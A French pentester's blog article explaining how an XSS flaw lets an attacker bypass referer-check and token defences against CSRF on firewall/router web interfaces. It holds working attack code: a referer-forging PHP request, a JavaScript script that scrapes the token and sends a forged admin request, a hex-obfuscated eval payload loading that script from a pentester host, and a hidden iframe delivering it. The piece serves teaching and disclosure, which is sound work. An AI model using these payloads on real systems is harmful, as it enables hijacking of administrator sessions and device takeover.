Au cours de récents pentests, il m’a été possible de contourner certaines protections anti-CSRF par le biais de moyen détournés. Pour présenter ces techniques, un cas concret d’une application web vulnérable va être détaillé.
L’article suivant illustre l’aspect théorique d’attaques bypassant les protections anti-CSRF. Pour un cas concret et une mise en application, consulter l’article [XSS & RCE] IPCop 2.1.4 Remote command Execution.
Dans un premier temps, effectuons un tour d’horizon de la vulnérabilité CSRF ainsi que les différents moyens utilisés/préconisés pour s’en protéger.
Présentation succinte des attaques CSRF
Ce type d’attaque, principalement orientée vers les applications web, exploite les privilèges d’un utilisateur particulier sans que celui-ci n’en soit conscient pour réaliser toutes sortes d’actions. Comme c’est l’utilisateur légitime (administrateur) qui exécute l’action à son insu, la plupart des systèmes d’authentification sont contournés. La définition de l’OWASP est la suivante :
CSRF is an attack which forces an end user to execute unwanted actions on a web application in which he/she is currently authenticated. With a little help of social engineering (like sending a link via email/chat), an attacker may force the users of a web application to execute actions of the attacker’s choosing. A successful CSRF exploit can compromise end user data and operation in case of normal user. If the targeted end user is the administrator account, this can compromise the entire web application.
Ces attaques disposent de quelques caractéristiques :
- Elle implique une application web qui repose sur l’authentification à un instant donné d’un utilisateur
- Elles exploitent la confiance de cette authentification pour réaliser diverses actions sur le site web.
- Elles se représentent par l’envoi de requêtes HTTP(s), via GET ou POST, dans le contexte de l’utilisateur légitime, et donc avec ses privilèges/droits associés.
- La plupart du temps, elles sont émises au travers d’une URL spécialement conçue, ou d’un formulaire web caché (avec des champs « hidden »), qui s’auto-envoie à son chargement, dans le contexte du navigateur cible.
Ces vulnérabilités sont bien trop souvent jugées non-critiques et ignorées. Sachez qu’il est possible d’obtenir des reverse-shell sur une machine/distribution par le biais de telles vulnérabilités, et qu’exploitées via des frameworks dédiés tel que BeEF, elles s’avèrent d’une grande dangerosité. Je vous invite à consulter mes divers PoC pour les routeurs/firewalls pfSense ou encore m0n0wall qui exploitent de telles vulnérabilité, ainsi que l’adaptation de Bart Leppens.
Protections courantes des attaques CSRF
Parmi les divers mécanismes de protection d’attaques CSRF, les suivants sont les principaux utilisés.
- La demande de confirmation d’action à l’utilisateur, ce qui peut alourdir l’enchaînement des formulaires web. De plus ce mécanisme n’est pas 100% fiable si l’attaquant génère la requête finale post-confirmation.
- Demande de confirmation de l’ancien mot de passe pour un quelconque changement de mot de passe.
- Exploitation de jeton de session (token), pour valider l’envoi de formulaire. Ces jetons peuvent disposer d’une validité temporelle, ainsi un jeton trop vieux ne pourra être exploité par un assaillant. Cette protection va être traitée par la suite.
- Eviter la méthode GET pour réaliser des actions.
- Effectuer une vérification du « referer » (page de provenance) dans les pages sensibles : c’est principalement ce à quoi nous allons nous intéresser comme mécanisme. Le referer est une en-tête HTTP qui transite de page en page, indiquant la page de provenance de la requête. Ainsi une action critique sur un site web ne pourra se faire que si la requête a été émise d’une page du même site.
De multiples frameworks, classes et codes de protection de ce type d’attaque existent de part le web. Pour n’en citer qu’un : CSRFMagic, qui est exploité dans diverses solutions de sécurité.
Dans cet article, deux des mécanismes les plus utilisés sont bypassés.
Protection par vérification du referer
Le referer est une données présente dans les en-têtes des requêtes HTTP(s). Cette donnée contient l’URL de provenance lorsque l’on arrive sur une page. Cet en-tête est utilisée par bon nombre de systèmes d’analyse du trafic sur un site web (Piwik, Google Analytics…). Ce qui permet d’identifier les « backlink » : les sites qui parlent du votre.
Le referer peut être facilement modifié par un utilisateur. Il existe de nombreux plugins de navigateur permettant cela. L’intérêt est d’injecter du code JS ou des SQLi dans ce champ pour corrompre un système.
Cet en-tête est également très utilisé pour se protéger des vulnérabilités CSRF, ce qui nous intéresse dans notre cas. En effet, si une requête avec des paramètres GET/POST à destination d’une page ne contient pas un referer valide (contenant l’url du site en lui-même), c’est que c’est une tentative de CSRF. Beaucoup d’applications web implémentent cette protection pour s’assurer que les données envoyées par un formulaire de configuration ont bien été indiquées à partir du site de configuration lui-même.
Bien sûr, il est possible de forger ses propres requêtes HTTP(s) avec un referer arbitraire (en PHP, Python, Perl…), toutefois ce n’est pas faisable en JavaScript.
Si un site applique une protection de CSRF par referer, le code du site sera semblable à celui-ci :
<?php if(preg_match("/www\.site\.com/", $_SERVER['HTTP_REFERER'])){ // do anything in valid context } else { echo 'Potential CSRF attack with invalid referer...'; } ?>
Pour forger une requête HTTP avec un referer arbitraire, ceci est faisable en PHP comme le précise l’article du blog tailoc :
<?php // the site we want to attack $host = 'www.site.com'; // construct a header for our request $hdrs = array( 'http' => array( 'method' => 'POST', 'header'=> 'accept-language: en\r\n' . 'Host: $host\r\n' . 'Referer: http://$host\r\n' . // Setting the http-referer 'Content-Type: application/x-www-form-urlencoded\r\n' . 'Content-Length: 33\r\n\r\n' . 'var1=val1&car2=val2\r\n' ) ); // get the requested page from the server // with our header as a request-header $context = stream_context_create($hdrs); $fp = fopen('http://' . $host . '/' . $file, 'r', false, $context); fpassthru($fp); fclose($fp); ?>
C’est le serveur qui héberge le script PHP qui fait office de client (navigateur web) d’où émane la requête destinée au site cible.
Cette technique ne peut s’appliquer dans notre cas, car le site qui héberge le script PHP ne connait pas les crédentiels d’authentification, et ne dispose pas d’une session valide d’accès à l’application web cible.
Protection par jeton de session
La seconde méthode très répandue est l’utilisation de jeton de session. Ces jetons sont généralement de simple hash (md5 ou sha1) d’une valeur aléatoire ou temporelle générée et stockée dans une variable de session. Ce jeton est inclus dans les paramètres GET/POST des formulaires (via un champ caché) pour être comparé à celui stocké dans une variable de session.
Résumé, le mécanisme est le suivant :
- L’utilisateur s’authentifie auprès de l’application web
- Un jeton de session associé à l’utilisateur connecté est généré. Ce jeton est stocké dans les variables de session.
- Ce jeton transite de page en page et s’intègre aux formulaires de l’application web
- Lorsqu’un formulaire est envoyé à une page cible, cette page compare le jeton reçu dans les paramètres du formulaire avec celui de la session courante.
- Si les jetons sont égaux, alors la page réalise le traitement souhaité, sinon c’est qu’une tentative de CSRF potentielle est en cours.
Côté code source, ce mécanisme peut être le suivant :
<?php session_start(); // start the session $time = time(); // get current timestamp $token = sha1($time); // create the token $_SESSION['token'] = $token; // store the token in session var $_SESSION['tokenTime'] = $time; // store the time of token generation in session var ?> <form action='targetPage.php' method='post'> <input type='hidden' name='token' value='<?php echo $token; ?>' /> <input type='text' name='data' value='' /> <input type='submit' value='Send' /> </form>
Du côté de la page « targetPage.php » de traitement des données :
<?php session_start(); if(isset($_SESSION['token'], $_SESSION['tokenTime'], $_POST['token'])){ if($_POST['token'] == $_SESSION['token'] && (time()-$_SESSION['tokenTime'] <= 300)){ echo 'Valid session !'; // do something } else { echo 'Invalid session, potential CSRF attack...'; } } else { echo 'Token not found or invalid session'; } ?>
Le paramètre du formulaire « token » est comparé à celui stocké dans la session. De plus une notion de validité temporelle de 5 minutes est ajoutée pour que le traitement soit réalisé.
La difficulté pour attaquer des systèmes protégés par des jetons de session est justement de capturer (ou générer) des tokens fiables et valides (dans le temps), qui sont associés à un compte (administrateur) authentifié.
Au regarde de ces deux mécanismes principaux de protection de CSRF, la suite de cet article va détailler un scénario pour bypasser ces deux protections.
Contournement des protections CSRF via XSS
Pour exploiter des CSRF dans une application web dont les requêtes sont protégées par referer checking et/ou par token, il y a la possibilité d’utiliser une vulnérabilité XSS.
Si une vulnérabilité XSS (GET ou POST) est exploitable sans que les protections CSRF de l’application web ne la bloque, alors toute la sécurité autour des CSRF peut être mise à mal.
Prérequis
- Imaginons qu’une CSRF est découverte dans le WebGUI d’un firewall/routeur, permettant de changer le mot de passe d’administration, arrêter la distribution ou encore récupérer un reverse-shell.
- Cette CSRF n’est fonctionnelle que sous certaines conditions : l’en-tête HTTP du referer doit être présente et pointer sur l’URL du routeur en lui même. De plus, un token aléatoire est généré sur la page de visualisation du formulaire et il doit être envoyé avec les données du formulaire (champ input type « hidden »).
- Finalement, considérons qu’une faille XSS GET est présente sur le WebGUI du routeur, et que celle-ci est fonctionnelle sans vérification du referer ni d’un token (puisqu’elle exploite la méthode GET).
Scénario
Le scénario pour automatiser l’attaque CSRF protégée va consister à :
- Exploiter la vulnérabilité XSS GET pour charger un script JS tiers (stocké sur un serveur web du pentester) dans le contexte du WebGUI du firewall/routeur. A ce stade, l’XSS est fonctionnelle mais le referer n’est pas valide et on n’a pas connaissance du token.
- Ce script XSS peut charger à la volé d’autres ressources JS, telle que JQuery. Ces ressources tierces seront également utilisables dans le contexte du WebGUI.
- Ce script JS peut forger (à l’aide de JQuery) des requêtes GET/POST destinée à diverses pages du firewall/routeur. Comme ces requêtes (AJAX) émaneront du contexte du WebGUI en lui-même, elles auront automatiquement le referer du firewall/routeur, et par conséquent bypasseront la protection referer checking anti-CSRF.
- En cas de nécessité d’un token particulier, le script JS pourra forger une première requête à destination d’une page où le token apparaît dans la source HTLM retournée par la page. Par exemple une requête vers une page proposant un formulaire, dont le token est disponible dans un champ input type « hidden ». Comme la requête émane du contexte du WebGUI en lui même, à destination d’une autre page du WebGUI, ce n’est pas une requête « cross-domain » qui sont nativement muettes via les navigateurs actuels ; ainsi le code source de la page destination contenant le token sera bien récupéré. Le script JS pourra parcourir ce code source récupéré pour extraire le token, et finalement forger la requête AJAX final avec le token valide pour exploiter la CSRF initialement protégée.
Ce scénario peut s’avérer un peu compliqué à prendre en main, clarifions le par un schéma :
Vecteurs d’attaques et exemples de syntaxe
Le pentester doit avoir identifié ces deux principaux vecteurs d’attaques :
- Une XSS dans le WebGUI, fonctionnelle sans vérification du referer ni du token (généralement une XSS GET).
- Une CSRF protégée par un validation du referer et/ou un token. La CSRF est la finalité de l’attaque. Elle permet l’obtention d’un reverse-shell, le changement du mot de passe administrateur ou bien d’autres actions.
Une fois ces prérequis convenablement identifiés, le pentester doit concevoir le script appelé « x.js » dans le schéma ci-dessus, qui concentrera l’enchaînement des requêtes AJAX à réaliser dans le contexte de la cible.
// Load JQuery dynamically in the targeted context var headx = document.getElementsByTagName('head')[0]; var jq = document.createElement('script'); jq.type = 'text/javascript'; jq.src = 'http://code.jquery.com/jquery-latest.min.js'; headx.appendChild(jq); // Function with JQuery AJAX request // This function requests an internal WebGUI page, which contains the token. // Source code of this webpage is passed to the extractToken() function. function loadToken(){ $.ajax({ type: 'POST', url: 'https://webgui/pagewithtoken', contentType: 'application/x-www-form-urlencoded;charset=utf-8', dataType: 'text', data: '', success:extractToken }); // after this request, we called the extractToken() function to extract the token } // Function called after AJAX request in a defined page of the context, which contains the token value function extractToken(response){ // response var contain the source code of the page requested by AJAX // Regex to catch the token value var regex = new RegExp("<input type='hidden' name='TOKEN' value='(.*)' />",'gi'); var token = response.match(regex); token = RegExp.$1; // Pass the token to the final function which make the CSRF final attack makeCSRF(token); } // This function use JQuery AJAX object. // The token var is needed to perform the right CSRF attack with the context referer function makeCSRF(token){ // Final CSRF attack with right referer (because executed in the context) // and with right token captured above $.ajax({ type: 'POST', url: 'http://webgui/pagetargetcsrf', contentType: 'application/x-www-form-urlencoded;charset=utf-8', dataType: 'text', data: 'ACTION=attackAction&PARAM=craftedParam&TOKEN=' + token }); // payload of your choice } // Waiting 2 secondes for correct loading of JQuery added dynamically. // Then, run the first AJAX request in the WebGUI context to retrieve the token setTimeout('loadToken()', 2000);
- Ce fichier x.js devra être hébergé sur un serveur HTTP tiers, accessible du WebGUI (http://pentester/)
- JQuery pourra être dynamiquement chargé dans le context par l’intermédiaire de x.js. Deux secondes d’attentes sont fixées dans l’exemple pour s’assurer que JQuery s’est bien initialisé.
- Après ces deux secondes, une première fonction est appelée pour exécuter une requête AJAX vers une page contenant le token dans son code source.
- Suite à cette requête, une seconde fonction est appelée pour extraire le token du code source.
- Finalement, le token est transmis à une dernière fonction qui réalise la requête CSRF finale, avec un referer valide et un token valide.
Après avoir défini ce fichier x.js, le pentester devra forger la syntaxe de l’XSS qui sera en GET dans l’exemple.
L’XSS canonique est la suivante :
http://webgui/pagevulnxss?<script>alert(/XSS by Yann CAM/);</script>
Il est préférable de créer dynamiquement une balise « script » dans le DOM via l’XSS que d’utiliser l’attribut « src » (retour d’expérience). Ainsi, le code JavaScript de création de cette balise script :
var head=document.getElementsByTagName('head')[0];var script= document.createElement('script');script.type= 'text/javascript';script.src= 'http://pentester/x.js';head.appendChild(script);
Encodage en hexadécimal (escape) :
%76%61%72%20%68%65%61%64%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%28%27%68%65%61%64%27%29%5b%30%5d%3b%76%61%72%20%73%63%72%69%70%74%3d%20%64%6f%63%75%6d%65%6e%74%2e%63%72%65%61%74%65%45%6c%65%6d%65%6e%74%28%27%73%63%72%69%70%74%27%29%3b%73%63%72%69%70%74%2e%74%79%70%65%3d%20%27%74%65%78%74%2f%6a%61%76%61%73%63%72%69%70%74%27%3b%73%63%72%69%70%74%2e%73%72%63%3d%20%27%68%74%74%70%3a%2f%2f%70%65%6e%74%65%73%74%65%72%2f%78%2e%6a%73%27%3b%68%65%61%64%2e%61%70%70%65%6e%64%43%68%69%6c%64%28%73%63%72%69%70%74%29%3b
Décodage et évaluation :
eval(unescape('%76%61%72%20%68%65%61%64%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%28%27%68%65%61%64%27%29%5b%30%5d%3b%76%61%72%20%73%63%72%69%70%74%3d%20%64%6f%63%75%6d%65%6e%74%2e%63%72%65%61%74%65%45%6c%65%6d%65%6e%74%28%27%73%63%72%69%70%74%27%29%3b%73%63%72%69%70%74%2e%74%79%70%65%3d%20%27%74%65%78%74%2f%6a%61%76%61%73%63%72%69%70%74%27%3b%73%63%72%69%70%74%2e%73%72%63%3d%20%27%68%74%74%70%3a%2f%2f%70%65%6e%74%65%73%74%65%72%2f%78%2e%6a%73%27%3b%68%65%61%64%2e%61%70%70%65%6e%64%43%68%69%6c%64%28%73%63%72%69%70%74%29%3b'))
Url exploitant l’XSS finale :
http://webgui/pagevulnxss?<script>eval(unescape('%76%61%72%20%68%65%61%64%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%28%27%68%65%61%64%27%29%5b%30%5d%3b%76%61%72%20%73%63%72%69%70%74%3d%20%64%6f%63%75%6d%65%6e%74%2e%63%72%65%61%74%65%45%6c%65%6d%65%6e%74%28%27%73%63%72%69%70%74%27%29%3b%73%63%72%69%70%74%2e%74%79%70%65%3d%20%27%74%65%78%74%2f%6a%61%76%61%73%63%72%69%70%74%27%3b%73%63%72%69%70%74%2e%73%72%63%3d%20%27%68%74%74%70%3a%2f%2f%70%65%6e%74%65%73%74%65%72%2f%78%2e%6a%73%27%3b%68%65%61%64%2e%61%70%70%65%6e%64%43%68%69%6c%64%28%73%63%72%69%70%74%29%3b'))</script>
Balise iframe invisible à placer sur un site quelconque :
<iframe src='http://webgui/pagevulnxss?<script>eval(unescape("%76%61%72%20%68%65%61%64%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%28%27%68%65%61%64%27%29%5b%30%5d%3b%76%61%72%20%73%63%72%69%70%74%3d%20%64%6f%63%75%6d%65%6e%74%2e%63%72%65%61%74%65%45%6c%65%6d%65%6e%74%28%27%73%63%72%69%70%74%27%29%3b%73%63%72%69%70%74%2e%74%79%70%65%3d%20%27%74%65%78%74%2f%6a%61%76%61%73%63%72%69%70%74%27%3b%73%63%72%69%70%74%2e%73%72%63%3d%20%27%68%74%74%70%3a%2f%2f%70%65%6e%74%65%73%74%65%72%2f%78%2e%6a%73%27%3b%68%65%61%64%2e%61%70%70%65%6e%64%43%68%69%6c%64%28%73%63%72%69%70%74%29%3b"))</script>' height='0' width='0' style='border:0;' />
Preuve du concept sur un cas réel (PoC)
Il m’a été possible d’exploiter ce mécanisme sur deux distributions Linux firewall/routeur de renom. Ayant averti les développeurs de ces solutions de ces vulnérabilités, je suis actuellement toujours en attente de leurs retours et d’une potentielle correction pour l’une d’elle.
Concernant l’autre, IPCop, un article dédié à pu être réalise que je vous invite à consulter. Celui-ci illustre la mise en oeuvre d’une telle attaque.
Conclusion
Pour terminer avec cet article, il est important de sensibiliser à la fois les développeurs d’application web et les utilisateurs de celles-ci. Comme je le répète depuis plusieurs articles, les vulnérabilités de type CSRF et XSS ne sont pas à prendre à la légère, loin de là. Elles permettent l’acquisition de privilège, de contrôle à distance et de crédentiels si elles sont manipulées intelligemment.
Les mécanismes de protection des CSRF sont fonctionnels et il est conseillé de les instaurer dans vos applications (token, referer, demande de confirmation…). Toutefois ils peuvent être mis à mal si une vulnérabilité XSS est présente ailleurs. Il faut donc faire la chasse aux XSS ! Nettoyez vos paramètres et validez les avant de les utiliser dans vos scripts !
- Les sessions et leurs jetons sont très prisés des assaillants, veuillez à ne pas les laisser ouvertes. Fermer vos sessions en cliquant sur « se déconnecter » plutôt que de fermer le navigateur directement.
- N’enregistrez jamais vos identifiants (login/mot de passe) dans votre navigateur, les attaquants peuvent capturer ces informations à votre insu via l’autocomplete.
- Ne suivez pas de liens suspects, et assurez vous du lien pointé par un mot en regardant la cible qui apparaît en barre d’état de votre navigateur.
- Effacer votre historique, cache et cookies régulièrement (Shift + Ctrl + Suppr sur la plupart des navigateurs)
- Maintenez vous à jour au niveau du navigateur et de ses plugins
- N’hésitez pas à décentraliser vos sessions d’administration, en utilisant un autre navigateur dédié, ou le mode « navigation privée ».
Sources & ressources
- Cross-site Request Forgery – OWASP
- Cross-site Request Forgery Prevention Cheat Sheet – OWASP
- Cross-site Request Forgery – Wikipédia
- Sécuriser son site web – Attaque de type CSRF
- How to bypass the REFERER security check with PHP – Blog Tailoc
- How to CSRF protect all your forms – Codeutopia
- [XSS & RCE] IPCop 2.1.4 Remote command Execution – ASafety